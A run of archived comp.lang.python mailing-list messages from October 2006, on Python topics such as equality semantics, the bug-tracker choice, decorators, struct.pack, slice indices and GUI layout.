<1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> Message-ID: <1161812827.596356.316450@f16g2000cwb.googlegroups.com> Martin v. L?wis wrote: > John Coleman schrieb: > > Yes - it just seems that there isn't a principled reason for implicitly > > converting 3 to 3.0 in 3.0 == 3 but not implicitly converting "cat" to > > boolean in "cat" == true. > > Sure there is: equality should be transitive. So while we have > 3 == 3L == 3.0 == 3.0+0j > and can therefore imply that 3 == 3.0+0j, we should not get > 5 == True == ["foo"] > and therefore imply that 5 == ["foo"]. > > The phenomenon really exists only for numeric types (that two > values of different types still represent the same "thing"), > so it's not surprising that this doesn't readily extend to > other types. > > In Python, there are only very few similar cases: byte strings > and unicode strings sometimes compare equal (but, since 2.5, > don't compare unequal very often); lists and tuples could be > considered to have equal values, but don't actually do compare > equal. > > Regards, > Martin Very good point, though one could argue perhaps that when one is comparing an object with a truth value then one is implicitly asking for the truth value of that object i.e. how it would function if used in an if statement, etc. This would make code like 'if s: ' equivalent to 'if s == True:' with a possible gain in readability. But - as you demonstrate the cost of that (minimal) gain in readability would be too high. In any event - I think it is mostly bad style to use a non-boolean variable in 'if s:' - it reminds me too much of obscure C code (though others might disagree). -John Coleman From aahz at pythoncraft.com Wed Oct 4 22:24:36 2006 From: aahz at pythoncraft.com (Aahz) Date: 4 Oct 2006 19:24:36 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: In article , Giovanni Bajo wrote: > >I wonder why the PSF infrastructure committee believes that a group of 6-10 >people is needed to "install and maintain" Roundup. Because Roundup has been "the answer" for at least two or three years, but somehow it never has gotten enough concerted attention to make it happen. I'm sure that experience informed much of the Infrastructure Committee's work. I suspect in the end that if four or five people who are known to follow through on their commitments volunteered that probably would be enough. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "LL YR VWL R BLNG T S" -- www.nancybuttons.com From amk at amk.ca Wed Oct 4 13:53:36 2006 From: amk at amk.ca (A.M. Kuchling) Date: Wed, 04 Oct 2006 12:53:36 -0500 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <7xk63gry9z.fsf@ruckus.brouhaha.com> Message-ID: <7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net> On 04 Oct 2006 06:44:24 -0700, Paul Rubin <> wrote: > Right now there is not even agreement on what the goal is. The goal is a new tracker for python.org that the developers like better; the original call lists 3 reasons (bad interface; lack of reliability; lack of workflow controls). > The surprise people are expressing is because they thought one of the > goals of a big open source project would be to avoid reliance on > closed tools. I don't think Python has ever had this as a goal. Python's license lets it be embedded in closed-source products; Windows binaries are built using closed-source tools (MS Visual C), and on some platforms we use a closed-source system compiler; python.org used to be a Solaris box, and now uses SourceForge which runs on top of DB/2... IMHO, using Jira presents risks that are manageable: * A data export is available if we decide to switch. Writing a script to take this export and convert to a new tracker is non-trivial, but the same is true of any other tracker we might choose; switching from Roundup to Trac or Trac to Launchpad is also going to require some effort. Therefore, I don't think our data is locked-in any more than any other tracker. * The offer of hosting means this won't consume very much administrative time. Perhaps the hosting offered will be found to be unreliable. If that's the case, we can reconsider the choice of tracker, or (less likely) host Jira ourselves. * There are no Bitkeeper-like licensing issues like the non-compete clause, so that isn't a factor; Roundup and Trac developers can file bugs and use the tracker just like anyone else. * The interface is very flexible and lots of customization can be done through the web. This means we don't have to hack the code at all, and upgrades should theoretically go smoothly. It would be nice to have the additional tick-box feature 'is open source', but the upsides are large enough that I can let go of that issue with only slight regret. --amk From bearophileHUGS at lycos.com Wed Oct 18 19:32:41 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 18 Oct 2006 16:32:41 -0700 Subject: making a valid file name... In-Reply-To: References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: <1161214360.953216.284600@k70g2000cwa.googlegroups.com> Tim Chase: > In practice, however, for such small strings as the given > whitelist, the underlying find() operation likely doesn't put a > blip on the radar. If your whitelist were some huge document > that you were searching repeatedly, it could have worse > performance. Additionally, the find() in the underlying C code > is likely about as bare-metal as it gets, whereas the set > membership aspect of things may go through some more convoluted > setup/teardown/hashing and spend a lot more time further from the > processor's op-codes. With this specific test (half good half bad), on Py2.5, on my PC, sets start to be faster than the string search when the string "good" is about 5-6 chars long (this means set are quite fast, I presume). from random import choice, seed from time import clock def main(choice=choice): seed(1) n = 100000 for good in ("ab", "abc", "abcdef", "abcdefgh", "abcdefghijklmnopqrstuvwxyz"): poss = good + good.upper() data = [choice(poss) for _ in xrange(n)] * 10 print "len(good) = ", len(good) t = clock() for c in data: c in good print round(clock()-t, 2) t = clock() sgood = set(good) for c in data: c in sgood print round(clock()-t, 2), "\n" main() Bye, bearophile From glen.coates.bigworld at gmail.com Wed Oct 4 09:35:45 2006 From: glen.coates.bigworld at gmail.com (glen.coates.bigworld at gmail.com) Date: 4 Oct 2006 06:35:45 -0700 Subject: Access to static members from inside a method decorator? Message-ID: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> I'm developing a library at the moment that involves many classes, some of which have "exposed" capabilities. I'm trying to design a nice interface for both exposing those capabilities, and inspecting instances to find out what capabilities they have. At the moment, I'm leaning towards a superclass (Exposed) that defines a static method which is a decorator (expose) such that any derived class can mark a method with @Exposed.expose and it will then be later returned by getExposedMethods(), a la: class Exposed: @staticmethod def expose( f ): ... def getExposedMethods( self ): ... class Person( Exposed ): @Exposed.expose def talk( self, ... ): ... I'm trying to implement the decorator by having it populate a static member list of whatever class it's in with a reference to the method. getExposedMethods() would then return the contents of each of those lists from itself back to Exposed in the class hierarchy. The first problem was that having a reference to the method (i.e. talk()) does not allow you to get a reference to the enclosing class (I had hoped im_class would lead me there). The real hiccup was that explicitly passing the class as an argument to the decorator generates a undefined global name error, presumably because at that point of execution the class object hasn't been fully created/initialised. So how can this be done? It doesn't seem like it's possible to pass a reference to the enclosing class into the decorator, which in turn means that static tracking of the list of exposed methods is impossible (at least, if I want to use decorators). Any ideas that will enable my initial design, or suggestions for an elegant, workable alternative would be much appreciated. Cheers, Glen From paul at boddie.org.uk Tue Oct 31 10:14:55 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 31 Oct 2006 07:14:55 -0800 Subject: Python tools for managing static websites? References: Message-ID: <1162307695.782590.201230@e3g2000cwe.googlegroups.com> Walter D?rwald skrev: > Chris Pearl wrote: > > > Are there Python tools to help webmasters manage static websites? > > You might give XIST a try: http://www.livinglogic.de/Python/xist/ See also the list on the python.org Wiki: http://wiki.python.org/moin/Templating The "Static Website Generators" section has some references to various tools, although I note that XIST is only featured in the "HTML Generation Packages" section. Paul From bjobrien62 at gmail.com Tue Oct 3 19:31:05 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 3 Oct 2006 16:31:05 -0700 Subject: array tofile fromfile tosocket? fromsocket? In-Reply-To: References: <1159896540.328282.242100@m7g2000cwm.googlegroups.com> Message-ID: <1159918265.027859.227100@h48g2000cwc.googlegroups.com> Thomas Jollans wrote: > On Tue, 03 Oct 2006 10:29:00 -0700, "SpreadTooThin" > let this slip: > > > I was under the impression that a file and socket were interchangable > > (like a file descriptor). Does anyone have an idea that might help me > > minimize the impact on my code? > > are you looking for sockets' makefile method ? > Yes.. but also I'm thinking about a new python class based on array... like (psuedo code) class myArray(array): def todevice(self, device): if device is a file: self.tofile else writesocket(data) def fromdevice(self, device): Is this advisable? > -- > Thomas Jollans alias free-zombie From danb_83 at yahoo.com Fri Oct 6 12:18:53 2006 From: danb_83 at yahoo.com (Dan Bishop) Date: 6 Oct 2006 09:18:53 -0700 Subject: Automatic import PEP In-Reply-To: References: Message-ID: <1160151531.628593.230160@m73g2000cwd.googlegroups.com> On Sep 22, 10:09 pm, Connelly Barnes wrote: > Hi, > > I wrote the 'autoimp' module [1], which allows you to import lazy modules: > > from autoimp import * (Import lazy wrapper objects around all modules; "lazy > modules" will turn into normal modules when an attribute > is first accessed with getattr()). > from autoimp import A, B (Import specific lazy module wrapper objects). > > The main point of autoimp is to make usage of the interactive Python prompt > more productive by including "from autoimp import *" in the PYTHONSTARTUP file. And it does. Gets rid of "oops, I forgot to import that module" moments without cluttering my $PYTHONSTARTUP file with imports. +1. My only complaint is that it breaks globals(). From codecraig at gmail.com Mon Oct 30 15:04:16 2006 From: codecraig at gmail.com (abcd) Date: 30 Oct 2006 12:04:16 -0800 Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> Message-ID: <1162238656.661097.75180@f16g2000cwb.googlegroups.com> On Oct 30, 2:52 pm, John Salerno wrote: Don't know for sure, but you can try calling the Refresh() method on the > text control and see if that fixes it. Didn't make a difference. Not sure what the problem is, I am wondering if it is a layout issue since that is my weak spot with wxPython. sizerTextPanel = wx.StaticBoxSizer(self.sizerTextPanel_staticbox, wx.HORIZONTAL) sizerTextPanel .Add(self.textPane, 1, wx.ALL|wx.EXPAND, 2) self.textPanel.SetAutoLayout(True) self.textPanel.SetSizer(sizerTextPanel ) sizerTextPanel .Fit(self.textPanel) sizerTextPanel .SetSizeHints(self.textPanel) sizerMainPanel.Add(self.textPanel, 3, wx.ALL|wx.EXPAND, 0) not sure if that means anything to anyone :) From cus_aba at yahoo.com Mon Oct 16 14:10:14 2006 From: cus_aba at yahoo.com (aba cus) Date: Mon, 16 Oct 2006 11:10:14 -0700 (PDT) Subject: set operations on dictionaries? Message-ID: <20061016181014.73728.qmail@web58105.mail.re3.yahoo.com> It should be quite obvious what should happen when the values stored for the relevant keys are identical. It is less obvious (and needs some though) what should happen when the keys are the same in the two operands, but the values are different. I think you answered you own proposal in the negative. Precisely because the result of this example {1: 10, 2: 20} | {2: 25, 3:30} is ill-defined, Python shouldn't implement set operations on dictionaries. "In the face of ambiguity, refuse the temptation to guess." I understand this point but this is just an argument for saying that it should throw an exception when the values don't match. It is not an argument for not doing the logical thing when they do. In fact in many situations it can be reasonably expected that the values will be the same. If not, give an error. There is no danger in that. The programmer should know whether this is a reasonable expectation in any givn case. (As it is at the moment, you get an error even if they match...) -------------- next part -------------- An HTML attachment was scrubbed... URL: From fredrik at pythonware.com Tue Oct 17 05:00:15 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 11:00:15 +0200 Subject: COM Error -- Urgent help References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com><45347682$0$25906$ba4acef3@news.orange.fr><1161070831.102884.37930@e3g2000cwe.googlegroups.com> <1161071939.165951.221510@i42g2000cwa.googlegroups.com> Message-ID: Teja wrote: > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e) > > thread.start_new_thread(self.nav, (s,'www.google.com') > > I am getting an attribute error the traceback tells you what attribute Python was looking for, and may also provide additional clues. can you post the traceback too? make sure you include all of it. From deets at nospam.web.de Mon Oct 30 14:48:07 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Mon, 30 Oct 2006 20:48:07 +0100 Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: <4qn37kFmc3q0U1@uni-berlin.de> > Okay, I've googled "leaky abstractions" (as was probably your intended > affect with your silence), read the famous essay, and still > don't know what you mean and how it applies to what I have described. > > Do you plan to justify your statement or emptily accuse people of violating > esoteric principles? While I can't claim to know what the effbot thinks (the skull-socks-wearing-python-coder-mindlink-technology is yet to be developed), I think it's pretty clear what he is after here: Computers compute offsets into data zero-based. Some languages like pascal completely abstract that away from the user, but python doesn't. So if your colleague/boss/whatever insists on indices being one-based, this abstraction you introduced for her pretty fast leaks pretty badly. Consider this simple example: for offset, item in enumerate(some_list, start=1): if item.is_the_chosen_one(): chosen_one_offset = offset the_chosen_one = some_list[chosen_one_offset] And bang, its Judas not Petrus who gets the pearly gates inc. stock options. Diez From deets at nospam.web.de Sat Oct 21 14:18:36 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 21 Oct 2006 20:18:36 +0200 Subject: User Access to the docstring of a property In-Reply-To: References: <1161358350.212350.170580@m7g2000cwm.googlegroups.com> Message-ID: <4pv6jqFkr92sU1@uni-berlin.de> Colin J. Williams schrieb: > George, > > Thanks to Dietz and yourself. > > Yes, I should have referenced the class, rather than the instance. > However, for methods, the docstring is revealed for an instance. > > Colin W. > > PS It would help if someone could explain the use of @apply in the > example Dietz gave. The documentation gives no reference to @ or to The decorator semantics are simple: @a @b(argument) def foo(): pass get translated to foo = a(b(argument)(foo)) as a decorator is nothing but function that is called with one thing, and returns something else. or the same thing, by the way. Now apply was important back then before the *args and **keywordargs shortcuts where introduced. It basically takes a function as first argument, and possibly a list and/or dict, and invokes the function with that argumens in place. So def foo(a): print a apply(foo, [10]) works as simple as foo(10) locals() is a built-in that returns a dictionary which contains all the locally known names. And property is a descriptor-creation-function, that has this signature: property(fget, fset, fdel, doc) Now we have all we need to decompose that neat property-creation-trick that doesn't pollute the class' namespace: class Foo(object): @apply def bar(): def fget(self): return self._bar doc = "bar property" return property(**locals()) What happens is this: the decoration gets translated to this: bar = apply(bar) which does simply invoke bar, and assign the result to the name bar in the class. invoking bar executes the property function, which is fed with the dictionary of the locals - coincidently named after the named arguments property takes. What I really do love about this: it doesn't pollute the namespace. Regards, Diez From eurleif at ecritters.biz Mon Oct 23 19:40:01 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Mon, 23 Oct 2006 19:40:01 -0400 Subject: pretty basic instantiation question In-Reply-To: References: Message-ID: <453d5215$0$13811$4d3efbfe@news.sover.net> sittner at lkb.ens.fr wrote: > let's say i have a class, and i need to create a different number of > instances (changes every time - and i can't know the number in advance) in > a loop. > a function receives the number of instances that are needed, and creates > them like, > a=Myclass() > b=Myclass() def create_instances(n): return [Myclass() for i in xrange(n)] From superflit at gmail.com Tue Oct 24 16:33:37 2006 From: superflit at gmail.com (flit) Date: 24 Oct 2006 13:33:37 -0700 Subject: Simple python + html + from --> to python script Message-ID: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> Hello All, I am trying to get information from a form and send it to a python script without success.. Here is my objective: User enters data in form --> form send variables to python script --> script runs and output result. the form code
Entre com os dados
Entre com os dados
Vai magraum In my script.py What I should have to print something like Hello the data1 + data 2 = .... ? Maybe I am stumbling in something very simple, but I cannot find some working example, and I am totally confused... Thanks in advance From fabien.benard at gmail.com Sun Oct 15 19:02:22 2006 From: fabien.benard at gmail.com (fabien.benard at gmail.com) Date: 15 Oct 2006 16:02:22 -0700 Subject: SOAPpy and callback In-Reply-To: References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> <_8NXg.46981$DU3.27448@tornado.texas.rr.com> <4p9r78Fi2olfU1@uni-berlin.de> <4parepFho4q7U1@uni-berlin.de> Message-ID: <1160953342.637095.301950@b28g2000cwb.googlegroups.com> Ok guys, thanks for the lesson! I'm probably not going to try to implement this solution. However, I've learned a lot! From Leo.Kislov at gmail.com Wed Oct 25 17:18:44 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 25 Oct 2006 14:18:44 -0700 Subject: How to identify generator/iterator objects? References: Message-ID: <1161811124.057313.165320@i3g2000cwc.googlegroups.com> Kenneth McDonald wrote: > I'm trying to write a 'flatten' generator which, when give a > generator/iterator that can yield iterators, generators, and other data > types, will 'flatten' everything so that it in turns yields stuff by > simply yielding the instances of other types, and recursively yields the > stuff yielded by the gen/iter objects. > > To do this, I need to determine (as fair as I can see), what are > generator and iterator objects. Unfortunately: > > >>> iter("abc") > > >>> def f(x): > ... for s in x: yield s > ... > >>> f > > >>> f.__class__ > > > So while I can identify iterators, I can't identify generators by class. But f is not a generator, it's a function returning generator: >>> def f(): ... print "Hello" ... yield 1 ... >>> iter(f) Traceback (most recent call last): File "", line 1, in ? TypeError: iteration over non-sequence >>> iter(f()) >>> type(f()) >>> Notice, there is no side effect of calling f function. -- Leo From ironfroggy at gmail.com Mon Oct 9 18:26:29 2006 From: ironfroggy at gmail.com (Calvin Spealman) Date: Mon, 9 Oct 2006 18:26:29 -0400 Subject: Initialization of variables using no-arg constructor In-Reply-To: References: Message-ID: <76fd5acf0610091526pa492901qc35c044c89a03c25@mail.gmail.com> On 10/9/06, Edward Waugh wrote: > Consider the following (working) Python code: > > import sys > > def sum(list): > # total = 0 does not work for non-numeric types > total = list[0].__class__() > for v in list: > total += v > return total > > l = [1, 2, 3] > print sum(l) > > l = [1.1, 2.2, 3.3] > print sum(l) > > l = ["a", "b", "c"] > print sum(l) > > In order for sum() to be generic I initialize total to the value of > list[0].__class__(). This works but I would like to know if this is the > correct or preferred way of doing it. It means that sum() must be given a > list whose elements are types or classes that have a no-arg constructor > (through this is probably almost always the case). > > Thanks, > Edward First of all, you never need to initialize the total to 0 of some specific type. You can just start with list[0] as the total and iterate over all the remaining values. Of course, you could just use reduce(lambda a,b: a+b, the_list) instead. Of course, you should never use list as a name, its a builtin already. Of course, you could just use the sum builtin (for numbers). -- Read my blog! I depend on your acceptance of my opinion! I am interesting! http://ironfroggy-code.blogspot.com/ From johnjsal at NOSPAMgmail.com Mon Oct 30 10:06:13 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 30 Oct 2006 15:06:13 GMT Subject: Observation on "Core Python Programming" In-Reply-To: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> Message-ID: John Coleman wrote: > Greetings, > My copy of the second edition of Chun's "Core Python Programming" > just arrived from Amazon on Friday. Who would you say the book is aimed at? Advanced programmers? I thought about getting it, but I'm not sure if it will be either 1) too much repetition of the basics I've already learned (which isn't necessarily a bad thing), or 2) too advanced for me right now. Thanks. From dale at riverhall.nospam.co.uk Tue Oct 17 07:45:02 2006 From: dale at riverhall.nospam.co.uk (Dale Strickland-Clark) Date: Tue, 17 Oct 2006 12:45:02 +0100 Subject: We're recruiting Python programmers Message-ID: I'll keep this brief. Please see the web site for details Thanks. -- Dale Strickland-Clark We are recruiting Python programmers. Please see the web site. Riverhall Systems www.riverhall.co.uk From fredrik at pythonware.com Tue Oct 24 05:06:55 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 11:06:55 +0200 Subject: How to get each pixel value from a picture file! References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com><1161643563.111993.109480@b28g2000cwb.googlegroups.com><1161645289.453600.107140@h48g2000cwc.googlegroups.com> Message-ID: Dennis Lee Bieber wrote: >> 2) i think putpixel((44, 55), (0, 0, 0)) and putpixel((44,55),0) is >> same. > > It shouldn't be... The former is three separate data values, the > latter is one. the "putpixel" API is polymorphic; you can use either tuples or integers for RGB pixels (the latter should have the form 0xAARRGGBB). From f.braennstroem at gmx.de Fri Oct 13 05:08:31 2006 From: f.braennstroem at gmx.de (Fabian Braennstroem) Date: Fri, 13 Oct 2006 11:08:31 +0200 Subject: 3D Vector Type Line-Drawing Program References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> <452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08> <452d2474$1@nntp0.pdx.net> <452ec6e7$1@nntp0.pdx.net> Message-ID: Hi, I am not sure, if that is, what your looking for, but with 'salome' you able to produce 3D drawings with an GUI or using a python script. Take a look at: http://www.salome-platform.org/home/presentation/geom/ * Scott David Daniels wrote: > Ron Adam wrote: >> Scott David Daniels wrote: >>> Ron Adam wrote: >>>> ... Is there a way to have the display show a wire frame image instead of >>>> shaded shapes? >>> You can draw the edges as lines. >> >> Is there a setting for this?, or are you suggesting reading the >> coordinates and creating curve objects for the edges? > Nope, you'd have to make a poly line which was the wire frame, but it > would then rotate and such with the rest of the model. Essentially > you would, for each primitive, have a wire-frame and a volumetric > version, and keep one of the two visible (with the other invisible) > at all times. > >>>> Is there an easy way to convert a display to something that can be >>>> printed? >>> >>> You can generate POV-ray source. This is not a system for creating >>> beautiful pictures, but rather a great 3-D sketch pad. > > Now POV-ray _will_ create beautiful pictures, but the texturing, > shading, and lighting control that POV-ray gives you exceeds that > of VPython. You could use VPython to get you model built and view- > point placed, and the tweak the POV-ray code to get pretty output. > > --Scott David Daniels > scott.daniels at acm.org > -- > http://mail.python.org/mailman/listinfo/python-list > Greetings! Fabian From bdesth.quelquechose at free.quelquepart.fr Thu Oct 26 18:47:50 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Fri, 27 Oct 2006 00:47:50 +0200 Subject: conditional computation In-Reply-To: References: Message-ID: <4541369b$0$2875$426a74cc@news.free.fr> robert a ?crit : (snip) > class MemoCache(dict): # cache expensive Objects during a session > (memory only) > def memo(self, k, f): > try: return self[k] > except IndexError: > return self.setdefault(k, f()) > cache=MemoCache() > ... > > o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) > And how do you get back the cached value without rewriting both complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ? From dave.opstad at monotypeimaging.com Tue Oct 3 10:16:38 2006 From: dave.opstad at monotypeimaging.com (Dave Opstad) Date: Tue, 03 Oct 2006 07:16:38 -0700 Subject: py2app console References: Message-ID: In article , James Stroud wrote: > Does anyone know of the most straightforward way to get rid of the > intensely annoying "console" window that py2app feels so compelled to > create? I include this code in my apps: if (sys.platform != "win32") and hasattr(sys, 'frozen'): root.tk.call('console', 'hide') That hides the console in py2app applications. Dave From fredrik at pythonware.com Thu Oct 5 23:02:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 05:02:54 +0200 Subject: printing variables In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> Message-ID: s99999999s2003 at yahoo.com wrote: > say i have variables like these > > var1 = "blah" > var2 = "blahblah" > var3 = "blahblahblah" > var4 = "...." > var5 = "...".. > > bcos all the variable names start with "var", is there a way to > conveniently print those variables out... do you often (or always) treat these as a collection ? why not just put the values in a list (or tuple) instead ? From fredrik at pythonware.com Sun Oct 29 07:38:19 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 13:38:19 +0100 Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: James Stroud wrote: > The code is for an economist. She is insistent on starting with the > first bin as 1. leaky abstractions in reverse, in other words? that's not a good design approach. From greg.landrum at gmail.com Wed Oct 4 13:39:08 2006 From: greg.landrum at gmail.com (greg.landrum at gmail.com) Date: 4 Oct 2006 10:39:08 -0700 Subject: switching to numpy and failing, a user story In-Reply-To: <1159953820.785009.179540@i42g2000cwa.googlegroups.com> References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> <1159953820.785009.179540@i42g2000cwa.googlegroups.com> Message-ID: <1159983548.857209.129880@k70g2000cwa.googlegroups.com> sturlamolden wrote: > Travis E. Oliphant wrote: > > > Definitely not true. People in Singapore, Japan, Ghana, South Africa, > > France, Germany, New Zealand, Australia, and many other countries are > > using NumPy successfully. Gratefully, a few have contributed by buying > > the book, but a lot more have downloaded and are successfully using it. > > >From the PayPal site for purchasing your book: "Select Payment Type: > Don't have a PayPal account? You don't need an account. Pay securely > using your credit card." I bought the book from Norway using my credit > card, and received the pdf file soon afterwards. Obviously the book can > be bought without a PayPal account or a us billing address. ok, my apologies on this one. I was wrong about the paypal option. I missed the spot (right at the top, where I should have seen it) to change the country. There is indeed a way to buy the book if you don't live in the US. -greg From robin at reportlab.com Wed Oct 25 13:48:36 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 18:48:36 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <1161797145.981948.123730@b28g2000cwb.googlegroups.com> References: <453F4A52.3050200@v.loewis.de> <1161797145.981948.123730@b28g2000cwb.googlegroups.com> Message-ID: <453FA374.5020501@chamonix.reportlab.co.uk> sturlamolden wrote: > import numpy > def CalcTableChecksum(Table, Length=None): > tmp = numpy.array(Table,dtype=numpy.uint32) > if Length == None: Length = tmp.size > endptr = ((Length+3) & ~3) / 4 > return (tmp[0:endptr]).sum() > it's probably wonderful, but I don't think I can ask people to add numpy to the list of requirements for reportlab :) I used to love its predecessor Numeric, but it was quite large. -- Robin Becker From diffuser78 at gmail.com Fri Oct 6 16:51:42 2006 From: diffuser78 at gmail.com (diffuser78 at gmail.com) Date: 6 Oct 2006 13:51:42 -0700 Subject: shortest mean path length Message-ID: <1160167902.517571.130370@k70g2000cwa.googlegroups.com> Is there any function in networkx which can compute the shortest mean path length. (Shortest length between all pairs of the nodes in the graph). Thanks, From fredrik at pythonware.com Fri Oct 27 07:31:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 13:31:22 +0200 Subject: struct.pack bug? References: Message-ID: "Jansson Christer" wrote: > I have discovered that in my Python 2.4.1 installation (on Solaris 8), > struct.pack handles things in a way that seems inconsistent to me. > > I haven't found any comprehensible documentation over known issues with > Python 2.4.1 so I try this... > > Here's the thing: > > >>> from struct import pack > >>> pack('B', -1) > Traceback (most recent call last): > File "", line 1, in ? > struct.error: ubyte format requires 0<=number<=255 > >>> pack('H', -1) > Traceback (most recent call last): > File "", line 1, in ? > struct.error: short format requires 0<=number<=USHRT_MAX > >>> pack('L', -1) > '\xff\xff\xff\xff' > >>> > > Shouldn't pack('L', -1) raise an exception like the others, rather than > behaving like pack('l', -1)? probably; the reason for the old behaviour is probably to simplify for code that uses Python int's to represent 32-bit values. (mixing longs and ints used to be a lot more difficult than it is today). > Is this fixed in later versions? the "struct" module was rewritten in Python 2.5; the new module issues a warning, and then appears to *clamp* the value to the allowed range, in- stead of grabbing the low bits: >>> import struct >>> struct.pack("B", -1) Traceback (most recent call last): File "", line 1, in File "C:\Python25\Lib\struct.py", line 63, in pack return o.pack(*args) struct.error: ubyte format requires 0 <= number <= 255 >>> struct.pack("H", -1) Traceback (most recent call last): File "", line 1, in File "C:\Python25\Lib\struct.py", line 63, in pack return o.pack(*args) struct.error: short format requires 0 <= number <= USHRT_MAX >>> struct.pack("I", -1) __main__:1: DeprecationWarning: 'I' format requires 0 <= number <= 4294967295 '\x00\x00\x00\x00' >>> struct.pack("L", -1) __main__:1: DeprecationWarning: 'L' format requires 0 <= number <= 4294967295 '\x00\x00\x00\x00' From smichr at gmail.com Mon Oct 30 05:11:52 2006 From: smichr at gmail.com (smichr at gmail.com) Date: 30 Oct 2006 02:11:52 -0800 Subject: slice's indices() method Message-ID: <1162203112.607390.220510@e3g2000cwe.googlegroups.com> It seems to me that the indices() method for slices is could be improved. Right now it gives back concrete indices for a range of length n. That is, it does not return any None values. Using an example from clpy about this the indices for a 'None, None, -2' slice for a range of length 10 are given as '9, -1, -2'. The problem is that these concrete values cannot be fed back into a slice so that a slice will extract the same elements that the 'None, None, -2' would have extracted. That's where the problem is. It seems to me that the indices given *from a slice object* should be able to make a round trip and and be used as arguments for a slice object and extract the same elements that the non-concrete (i.e. None-containin) indices would have given. Instead, the behavior right now only allows these indices from a slice object to be fed to a *range* object to give back the indices of the elements that would have been extracted from the original lenght-n object. Here is the full example given in the clpy archives: >>> slice(None, None, -2).indices(10) (9, -1, -2) >>> range(9, -1, -2) [9, 7, 5, 3, 1] >>> range(10)[slice(9, -1, -2)] [] Notice that although the indices given, (9, -1, -2), give a valid range of values from 9 through 1 stepping by 2, these same indices don't extract elements from a range when they are given as an argument to the slice function. In essense, the slice 'None, None, -2' (or '::-2') is not interpreted the same way as the explicitly specified values of '9, -1, -2'. This seems unecessarily obtuse: since the indices *came* from a slice object it seems to me that they should be able to *go back into* a slice object; 'None, None, -2' and the indices obtained for a length-10 object should behave the same. In reading the discussion of Aug 2005 regarding this issue, it sounded like the intent of slice.indices() was to get indices which could be sent to range to generate a range whose values would match the indices produced by the original slice and that this capability was mainly to be used for unittest-ing. If the following sort of logic were applied instead of the current logic I think it would improve the usability of the indices() method for slices: def sliceIndices(slc, n): start, stop, step = slc.indices(n) if cmp(stop-start,0)<>cmp(step,0): #null if step<0: if 0 not in [start-n,stop-n]:start-=n;stop-=n else: if start<0 or stop<0:start+=n;stop+=n else: #valid if step<0: #all should be less than 0 if start>=0 or stop>=0:start-=n;stop-=n return start, stop, step With this logic the following result is obtained for the same indices used in the above examples: >>> print sliceIndices(slice(None,None,-2),10) (-1, -11, -2) >>> range(-1, -11, -2) [-1, -3, -5, -7, -9] >>> range(10)[slice(-1, -11, -2)] [9, 7, 5, 3, 1] This modification of the indices will give indices which can be used in a slice to extract the same elements from a length-n object as the original slice or to generate a range whose elements correspond to the indices of the elements extracted by the original slice. I searched through the *.py scripts in the distribution library, and the only place I found slice indices being used was in the script testing slices...and the test were simply assertions that the slice.indices() gave the expected tuple. Is there any reason not to change the behavior of the indices() method so it gives indices that can be used in range (to give indices corresponding to elements that would be extracted by a given slice) *and* used as arguments for slices so that the slice with the new indices (obtained from the indices() method) would extract the same elements as the original slice from whence they were obtained? Would anything (except the present unittest for the indices() method) break if this new behavior were implemented? /chris From ocollioud at gmail.com Fri Oct 27 04:30:21 2006 From: ocollioud at gmail.com (olive) Date: 27 Oct 2006 01:30:21 -0700 Subject: PyDev + Eclipse (Was: Re: What's the best IDE?) In-Reply-To: References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161880517.440039.215280@i3g2000cwc.googlegroups.com> Message-ID: <1161937820.752610.207990@h48g2000cwc.googlegroups.com> Michael B. Trausch wrote: > Yep. Still does it. I'm running PyDev 1.2.4 without completion problem so far. Are you up to date ? Maybe you should install the latest from scratch. From jstroud at mbi.ucla.edu Fri Oct 13 